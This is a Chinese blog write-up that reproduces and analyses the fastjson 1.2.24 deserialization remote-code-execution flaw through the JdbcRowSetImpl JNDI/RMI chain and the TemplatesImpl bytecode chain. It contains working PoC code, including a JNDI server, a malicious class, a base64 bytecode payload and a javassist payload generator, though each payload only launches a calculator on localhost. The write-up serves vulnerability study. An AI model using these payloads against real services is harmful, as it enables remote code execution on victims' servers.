fastjson 1.22-1.24 漏洞复现与分析

前言

QAQ,感觉自己啥也不会,要好好努力学习了。但是由于本人遗忘度很大,因此要记下来学习QAQ。

概念

RMI(Remote Method Invocation)

Java远程方法调用,即Java RMI(Java Remote Method Invocation)是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。它使客户机上运行的程序可以调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。RMI全部的宗旨就是尽可能简化远程接口对象的使用。

Java RMI极大地依赖于接口。在需要创建一个远程对象的时候,程序员通过传递一个接口来隐藏底层的实现细节。客户端得到的远程对象句柄正好与本地的根代码连接,由后者负责透过网络通信。这样一来,程序员只需关心如何通过自己的接口句柄发送消息。

乱七八糟的一大串,简单来说,RMI就是一个只java远程调用方法的行为。

JRMP(Java Remote Method Protocol)

Java远程方法协议(英语:Java Remote Method Protocol,JRMP)是特定于Java技术的、用于查找和引用远程对象的协议。这是运行在Java远程方法调用(RMI)之下、TCP/IP之上的线路层协议(英语:Wire protocol)。

JNDI(Java Naming and Directory Interface)

Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。

就是一个接口,可以通过lookup方法访问其所绑定的对象。

示例代码

程序A

继承Remote的HelloService接口:

public interface HelloService extends Remote {String sayHello() throws RemoteException;
}

HelloService的实现

public class HelloServiceImpl extends UnicastRemoteObject implements HelloService {public HelloServiceImpl() throws RemoteException {}@Overridepublic String sayHello() throws RemoteException {System.out.println("hello!");return "hello!";}
}

RMI服务端

public class RMIServer {public static void main(String[] args) {try {Registry registry = LocateRegistry.createRegistry(1099);registry.bind("hello", new HelloServiceImpl());} catch (RemoteException e) {e.printStackTrace();} catch (AlreadyBoundException e) {e.printStackTrace();}}
}

程序B

public class RMIClient {public static void main(String[] args) {try {HelloService helloService = (HelloService)LocateRegistry.getRegistry("127.0.0.1", 1099).lookup("hello");System.out.println(helloService.sayHello());} catch (RemoteException e) {e.printStackTrace();} catch (NotBoundException e) {e.printStackTrace();}}
}

先执行程序A再执行程序B就会打印hello。


程序A启动了一个RMI的注册中心,并把HelloServiceImpl暴露在注册中心中。程序B启动之后通过命名寻找方法,最后通过JRMP协议发起RMI请求,程序A输出hello后将信息序列化发送给程序B,最后程序B反序列化输出。

反序列化

反序列化有三个函数:

parse (String text)
parseObject(String text)
parseObject(String text, Class clazz)
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import java.util.Properties;public class fastjsonTest {public String t1;private int t2;private Boolean t3;private Properties t4;private Properties t5;public String getT1() {System.out.println("getT1()");return t1;}public void setT1(String t1) {this.t1 = t1;System.out.println("setT1()");}public int getT2() {System.out.println("getT2");return t2;}public void setT2(int t2) {System.out.println("setT2");this.t2 = t2;}public Boolean getT3() {System.out.println("getT3");return t3;}public Properties getT4() {System.out.println("getT4");return t4;}public Properties getT5() {System.out.println("getT5");return t5;}public void setT5(Properties t5) {System.out.println("setT5");this.t5 = t5;}@Overridepublic String toString() {return "fastjsonTest{" +"t1='" + t1 + '\'' +", t2=" + t2 +", t3=" + t3 +", t4=" + t4 +", t5=" + t5 +'}';}public static void main(String[] args) {String jsonstr = "{\"@type\":\"fastjsonTest\",\"t1\":1,\"t2\":2,\"t3\":3,\"t4\":{},\"t5\":{}}";Object obj = JSON.parse(jsonstr);
//        Object obj = JSON.parseObject(jsonstr,fastjsonTest.class);
//        Object obj = JSON.parseObject(jsonstr);System.out.println(obj);}
}

Json.parse(jsonstr)



setT1() 、setT2() 、getT4() 、setT5() 被调用

JSON.parse(jsonstr)最终返回FastJsonTest类的对象

JSON.parseObject(jsonstr,fastjsonTest.class)

可以看见parseObject(jsonstr,fastjsonTest.class)的输出和parse一样,并且obj的类也相同。

JSON.parseObject(jsonstr)

FastJsonTest类中的所有getter与setter都被调用了,并且JSON.parseObject(jsonstr);返回一个JSONObject对象而且其中的getT4还被调用了两次,这究竟是为什么呢?

我们先来总结一下:

  • parse(String text),构造方法 + setter + 满足条件额外的getter
  • parseObject(String text, Class clazz) ,构造方法 + setter + 满足条件额外的getter
  • JSONObject parseObject(String text),构造方法 + setter + getter + 满足条件额外的getter

分析

分析这里讲得很清楚了,就不复述了。http://blog.topsec.com.cn/fastjson-1-2-24%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e%e6%b7%b1%e5%ba%a6%e5%88%86%e6%9e%90/

JdbcRowsetlmpl

JNDI+RMI

因为过程中出现了bug,导致不能远程调用class文件,导致我学了一天才搞懂,虽然过程很自闭,但是还好最后解决了。我们先写一个JNDIserver的代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class JNDIServer {public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException, AlreadyBoundException, RemoteException {Registry registry = LocateRegistry.createRegistry(1099);System.out.println("Java RMI created!port:1099");Reference reference = new Reference("exploit", "badClassName","http://127.0.0.1:8000/");ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);registry.bind("exploit",referenceWrapper);}
}

JNDIClient

import com.alibaba.fastjson.JSON;public class JNDIClient {public static void main(String[] args) {String PoC = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://localhost:1099/exploit\", \"autoCommit\":false}";JSON.parse(PoC);}
}

badClassName

import java.io.IOException;
import java.io.Serializable;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;public class badClassName implements ObjectFactory, Serializable {public badClassName() {try {Runtime.getRuntime().exec("calc.exe");} catch (IOException var2) {var2.printStackTrace();}}public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) throws Exception {return null;}public static void main(String[] var0) {new badClassName();}
}

部署过程先运行JNIDServer然后再编译badClassName生成class文件,利用python启动HTTP服务,最后再启动JNDIClient便可以弹出计算器。
python3 -m http.server 8000(这里不写端口号默认为8000)
这里如果想要成功复现的话需要如下环境:

  • fastjson1.2.22-1.2.24
  • JDK<=6u141、7u131、8u121.
  • 在一些java8的版本也可以添加JVM参数-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

如果运行完成功弹出计算器,记得看一下http是否被访问,只有被访问,才算成功的复现,如果没访问就弹出计算器是因为在本地加载了class文件。当时为就是一直卡在这里,由于m1的适配问题,为换了一台电脑,但是又因为为Windows的环境问题有一些小bug,不过还好最终解决了。

具体分析

我们先逆向的分析,这样个人认为比较容易明白。
我们通过对JDNI注入的学习,应该知道JNDI注入是因为lookup的调用,那我们要思考中JdbcRowsetlmpl中哪里触发了lookup函数。


在JdbcRowSetlmpl函数中调用到lookup函数的是connect函数,我们看见lookup的参数是getDataSourceName返回的函数。我们上面总结过中parse中,会调用所有的setter函数,因此datasource是可控的。

在setAutoCommit中调用了connect。因此POC遍显而易见了

{"@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://localhost:1099/exploit", "autoCommit":false}

这里先总结一下后面的调用链:

Lookup:417,InitalContext //jndi lookup函数通过rmi或者ldap获取恶意类
connect:624,JdbcRowSetlmpl。//通过connect触发lookup
setAutoCommit:4067,JdbcRowSetImpl //通过setAutoCommit从而在后面触发了connect函数

我们再转回去看看


从parse进入,刚开始会调用DefaultJSONParser,这个函数会将token设置为12.

然后我们跟进DefaultJSONParser.parser函数中,

在上面我们说过token被设置为12,因此在这里会跳转到这个位置,


这里获取key值与@type做对比,然后获取class值。继续跟踪

这里调用了getDeserializer生成该类型的反序列化器,但是这里利用了ASM机制动态生成类,但是此类的Java源文件没有,无法进行调试,按照之前的逻辑,在FastjsonASMDeserializer_1_JdbcRowSetImpl中会获取到属性的key值,并通过DefaultFieldDeserializer.parseField方法反序列化属性。
我们进入到deserialize中。

这里将autoCommit作为key值传入。最后通过setValue触发invoke。


后面就是后半段链了。
下面是利用链:

parse#fastjsonpaserObject#fastjsondeserialze#JavaBeanDeserializerparseField#DefaultFieldDeserialzersetValue#fieldDeserializerinvoke#MethodserAutoCommit#JabcRowSetlmplconnect#JdbcRowSetlmpllookup

还有一个利用链事LADP+RMI原理差不多,就不写了。

fastjson 1.22-1.24 Templateslmpl漏洞复习与分析

前言

前几天复现了一下jdbcRowsetlmpl,今天来分析一下Templatelmpl。个人觉得Templatelmpl链比jdbcRowsetlmpl的要简单一些。

复现

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class TEMPOC extends AbstractTranslet {public TEMPOC() throws IOException {Runtime.getRuntime().exec("calc.exe");}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}@Overridepublic void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {}public static void main(String[] args) throws Exception {TEMPOC t = new TEMPOC();}
}

将这个编译成class文件,再利用python脚步读取class文件进行base64加密。

import base64fin = open(r"TEMPOC.class","rb")
byte = fin.read()
fout = base64.b64encode(byte).decode("utf-8")
poc = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["%s"],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'% fout
print poc
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;public class POC {public static void main(String[] args) {String jsonstr = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQALVEVNUE9DLmphdmEMAAgACQcAIQwAIgAjAQAIY2FsYy5leGUMACQAJQEAFFRlbXBsYXRlc0ltcGwvVEVNUE9DAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFu
c2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAA0ABAAOAA0ADwAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABMAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABgADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABsACAAcAAwAAAAEAAEAFAABABUAAAACABY=\"],\"_name\":\"a.b\",\"_tfactory\":{},\"_outputProperties\":{ },\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";JSON.parseObject(jsonstr, Feature.SupportNonPublicField);}
}

分析

  • @type:用于识别需要反序列化的类,这里需要识别的是templatetestlmpl,因为调用了getOutputProperties方法,实例化bytecodes进行命令执行。但是由于outputProperties和bytecodes是由private修饰,所以这里要添加Feature.SupportNonPublicField参数。
  • _bytecodes:继承AbstractTranslet,且有base64加密过的字节码。
  • _name:会对此进行判断如果为null则无法触发。
  • _tfactory: 和name相同
  • _outputProperties:触发漏洞的关键参数。

我们和上一篇文章一样,先从后面的链进行分析。


在getOutputProperties函数中,调用了newTeansformer函数,我们跟入:

跟入getTransformerImpl函数

在函数中,先判断了_name是否为null,然后调用defineTransletClasses,其中调用了defineClass,defineClass主要的功能就是将字节码转换成class。

protected final Class<?> defineClass(String name, byte[] b, int off, int len)throws ClassFormatError
{return defineClass(name, b, off, len, null);
}

最后newInstance将恶意类进行实例化进行命令执行。

下面是前面的分析,因为上一篇文章讲过的原因,这里就简单讲一下重要的地方,这里先将key和默认值进行比对,并且没有打开Feature.DisableSpecialKeyDetect,这个打开会进行关键字检测。然后通过loadclass加载templateslpml

getDeserializer会获取对应类的反序列化器JavaBeanDeserializer

JavaBeanDeserializer会根据偏移量获取到下一个key值_bytecodes

然后经过parseField获取value并设置到object中,

在parseField中跟入



可以看见这里进行了base64解码这就是为什么bytecodes进行base64加密的原因。

我们可以看见这里说fieldinfo一件变成了outputProperties了,这是因为中smartmatch中将_替换成了空。之后会触发setoutputProperties。最后命令执行。

总结

之后木爷告诉我其实不用将java转成class文件。
直接用javasist动态生成字节码就可以了。木爷给的代码:

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.*;import java.util.Base64;public class poc1 {public static String generateEvil() throws Exception {ClassPool pool = ClassPool.getDefault();CtClass clas = pool.makeClass("Evil");pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));String cmd = "Runtime.getRuntime().exec(\"open -a Calculator\");";clas.makeClassInitializer().insertBefore(cmd);clas.setSuperclass(pool.getCtClass(AbstractTranslet.class.getName()));clas.writeFile("./");byte[] bytes = clas.toBytecode();String EvilCode = Base64.getEncoder().encodeToString(bytes);System.out.println(EvilCode);return EvilCode;}public static void main(String[] args) throws Exception {final String GADGAT_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String evil = poc1.generateEvil();String PoC = "{\"@type\":\"" + GADGAT_CLASS + "\",\"_bytecodes\":[\"" + evil + "\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," + "\"_name\":\"a\",\"allowedProtocols\":\"all\"}\n";JSON.parseObject(PoC,Object.class, Feature.SupportNonPublicField);}
}

总结

也不知道自己理解的有没有问题,哎,终究是太菜,觉得大佬们都好强。还是要继续努力QAQ。

fastjson 1.22-1.24 漏洞复现与分析相关推荐

  1. MS17-010(永恒之蓝)漏洞复现和分析

    MS17-010(永恒之蓝)漏洞复现和分析 一.漏洞简介 1.永恒之蓝介绍: 永恒之蓝是指2017年4月14日晚,黑客团体Shadow Brokers(影子经纪人)公布一大批网络攻击工具,其中包含&q ...

  2. 【漏洞复现】WordPress插件Quizlord 2.0 XSS漏洞复现与分析

    年后趁着需要做安全测试系统不多的这个空档,学学python到处逛逛复现复现和分析一些简单的漏洞 --from Lyricbao 0x00 复现环境 phpstudy wordpress 4.4版本 Q ...

  3. Xxe漏洞 php,PhpSpreadsheet 1.5.0 XXE漏洞复现及分析

    0x01 前言 PhpSpreadsheet是一个非常流行的纯 PHP 类库,能够让你方便的读写Excel.LibreOffic Calc等表格格式的文件,是PHPExcel的替代者.2018年11月 ...

  4. 网络安全漏洞复现与分析

    漏洞介绍 Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令. ...

  5. CVE-2021-3560 Polkit权限提升漏洞复现与分析

    0x00 简介 Polkit是Linux上的一个系统服务,其用于实现权限管理,通过给非特权进程授权,允许具有特权的进程(或者库文件lib)给非特权进程提供服务,由于Polkit被systemd使用,所 ...

  6. 《老漏洞复现与分析篇》 - 其一 - shift后门

    引言 因为本菜鸡的博客没什么文章素材,所以想开一个新文章类别,本来想整一个漏洞分析和复现的,无奈由于实力不允许,只能再前面加一个"老"字,整一点多年前的老漏洞拿来复现和分析.俗话说 ...

  7. D-Link DIR645 1.03绕过认证查看配置文件漏洞复现与分析

    0x00 序 ​ D-Link DIR645的1.03版本固件中存在一个绕过认证查看配置文件的信息泄露漏洞. 0x01 信息泄漏 漏洞触发点 ​ 信息泄露的漏洞触发点在固件squashfs-root文 ...

  8. 安全漏洞之Log4j2漏洞复现绕过分析

    0x00 介绍 Log4j2是Java开发常用的日志框架,该漏洞触发条件低,危害大,由阿里云安全团队报告 分配CVE编号:CVE-2021-44228 CVSS评分:10.0(最高只能10分) POC ...

  9. Fastjson 1.2.24 反序列化漏洞复现

    Fastjson 1.2.24 反序列化漏洞复现 1.漏洞介绍 FastjsonEngine是其中的一个JSON处理引擎.Fastjson是其中的一个基于Java的JSON解析器/生成器. Pippo ...

最新文章

  1. js 操作vuex数据_Vuex 数据状态持久化如何处理?
  2. springboot项目层次结构_Spring Boot 默认的指标数据从哪来的?
  3. 怎么用python处理excel文件-用Python读写Excel文件的方式比较
  4. nginx之静态资源访问和负载均衡的使用!
  5. 提取pfx证书公钥和私钥
  6. linux mysql 主从数据库_linux mysql数据库的主从配置
  7. OOo on ready---VB篇
  8. BeanDefinition构建示例
  9. Linux 6安装kde桌面,CentOS 5/6 安装 GNOME 或 KDE 桌面
  10. 拖动卡顿_四招教你解决PS软件卡顿问题!
  11. tuxedo管理命令之tmadmin
  12. spring-cloud Sleuth
  13. React 使用图片验证码组件(登录验证)
  14. 小学计算机属于数学与科学吗,我是计算机专业,想考小学信息技术教师资格证没有,那我是报科学还是...
  15. 企业研发人员配备比例_中小IT企业项目团队人员配置管理
  16. 关于 TCP协议和HTTP关系 | TCP的三次握手和四次挥手
  17. Python办公自动化(四):PDF处理自动化
  18. 读《美国交通信号配时实践经验》后的感受
  19. Origin双Y轴柱状图画法及两柱重合有间居问题解决
  20. 概率论基础(一):条件均值与全期望公式

热门文章

  1. Win7遇到:应用程序已停止工作,故障模块 ntdll.dll
  2. ThoughtWorks中国持续招聘最优秀的软件开发者
  3. 火山安卓卡片布局器基本使用方式
  4. cf自动退出服务器,《穿越火线》穿越火线自动退出攻略
  5. 上古世纪服务器维护真情礼,4月9日例行维护怀旧服合服公告
  6. 设置浏览器全屏展示网站
  7. 我的plus也GG了
  8. 主动变被动9个例句_LOL手游:改ID不需要改名卡,多个英雄被动技能变主动
  9. FC SAN 基础知识
  10. i5 10500和i7 8700哪个好